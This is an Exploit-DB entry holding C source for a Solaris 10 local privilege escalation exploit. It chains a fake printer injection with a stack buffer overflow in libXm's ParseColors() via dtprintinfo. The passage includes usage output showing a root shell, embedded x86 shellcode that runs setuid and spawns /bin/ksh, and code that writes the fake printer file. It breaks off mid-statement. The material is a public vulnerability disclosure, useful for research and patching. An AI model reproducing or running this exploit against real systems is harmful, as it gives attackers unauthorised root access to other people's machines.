Exploit-DB #51209
Description: Solaris 10 libXm - Buffer overflow Local privilege escalation
Type: local
Platform: solaris
Date: 2023-04-03
Author: Marco Ivaldi

Exploit:
/*
* Exploit Title: Solaris 10 libXm - Buffer overflow Local privilege escalation 
 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
 * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * "What has been will be again,
 *  what has been done will be done again;
 *  there is nothing new under the Sun."
 *                     -- Ecclesiastes 1:9
 *
 * #Solaris #CDE #0day #ForeverDay #WontFix
 *
 * This exploit illustrates yet another way to abuse the infamous dtprintinfo
 * binary distributed with the Common Desktop Environment (CDE), a veritable
 * treasure trove for bug hunters since the 1990s. It's not the most reliable
 * exploit I've ever written, but I'm quite proud of the new vulnerabilities
 * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
 * 2021) applied. The exploit chain is structured as follows:
 * 1. Inject a fake printer via the printer injection bug I found in lpstat.
 * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
 * 3. Enjoy root privileges!
 *
 * For additional details on my bug hunting journey and on the vulnerabilities
 * themselves, you can refer to the official advisory:
 * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
 *
 * Usage:
 * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
 * $ ./raptor_dtprintlibXmas 10.0.0.109:0
 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
 * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
 * 
 * Using SI_PLATFORM       : i86pc (5.10)
 * Using stack base        : 0x8047fff
 * Using safe address      : 0x8045790
 * Using rwx_mem address   : 0xfeffa004
 * Using sc address        : 0x8047fb4
 * Using sprintf() address : 0xfefd1250
 * Path of target binary   : /usr/dt/bin/dtprintinfo
 * 
 * On your X11 server:
 * 1. Select the "fnord" printer, then click on "Selected" > "Properties".
 * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
 *
 * Back to your original shell:
 * # id
 * uid=0(root) gid=1(other)
 *
 * IMPORTANT NOTE.
 * The buffer overflow corrupts some critical variables in memory, which we
 * need to fix. In order to do so, we must patch the hostile buffer at some
 * fixed locations with the first argument of the last call to ParseColors().
 * The easiest way to get such a safe address is via the special 0x41414141
 * command-line argument and truss, as follows:
 * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
 * $ grep ParseColors OUT | tail -1
 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
 *                                 ^^^^^^^^^ << this is the safe address we need
 *
 * Tested on:
 * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>

#define INFO1	"raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE"
#define INFO2	"Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/dtprintinfo"	// vulnerable program
#define	DEBUG	"/tmp/XXXXXXXXXXXXXXXXXX"	// target for debugging
#define	BUFSIZE	1106				// size of hostile buffer
#define PADDING	1				// hostile buffer padding
#define SAFE	0x08045770			// 1st arg to ParseColors()

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */
/* triple setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*arg[2] = {"foo", NULL};
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_bad(int addr, char *name);
int	get_env_addr(char *path, char **argv);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], cmd[1024], *vuln = VULN;
	char	platform[256], release[256], display[256];
	int	i, sc_addr, safe_addr = SAFE;
	FILE	*fp;

	int	sb = ((int)argv[0] | 0xfff);	// stack base
	int	ret = search_ldso("sprintf");	// sprintf() in ld.so.1
	int	rwx_mem = search_rwx_mem();	// rwx memory

	/* helper that prints argv[0] address, used by get_env_addr() */
	if (!strcmp(argv[0], arg[0])) {
		printf("0x%p\n", argv[0]);
		exit(0);
	}

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* process command line */
	if ((argc < 2) || (argc > 3)) {
		fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n",
		    argv[0]);
		exit(1);
	}
	snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]);
	if (argc > 2) {
		safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);
	}

	/* enter debug mode */
	if (safe_addr == 0x41414141) {
		unlink(DEBUG);
		snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG);
		if (system(cmd) == -1) {
			perror("error creating debug binary");
			exit(1);
		}
		vuln = DEBUG;
	}

	/* fill envp while keeping padding */
	add_env("LPDEST=fnord");		// injected printer
	add_env("HOME=/tmp");			// home directory
	add_env("PATH=/usr/bin:/bin");		// path
	sc_addr = add_env(display);		// x11 display
	add_env(sc);				// shellcode
	add_env(NULL);

	/* calculate shellcode address */
	sc_addr += get_env_addr(vuln, argv);

	/* inject a fake printer */
	unlink("/tmp/.printers");
	unlink("/tmp/.printers.new");
	if (!(fp = fopen("/tmp/.printers", "w"))) {
		perror("error injecting a fake printer");
		exit(1);
	}
	fprintf(fp, "fnord :\n");
	fclose(fp);
	link("/tmp/.printers", "/tmp/.printers.new");

	/* craft the hostile buffer */
	bzero(buf, si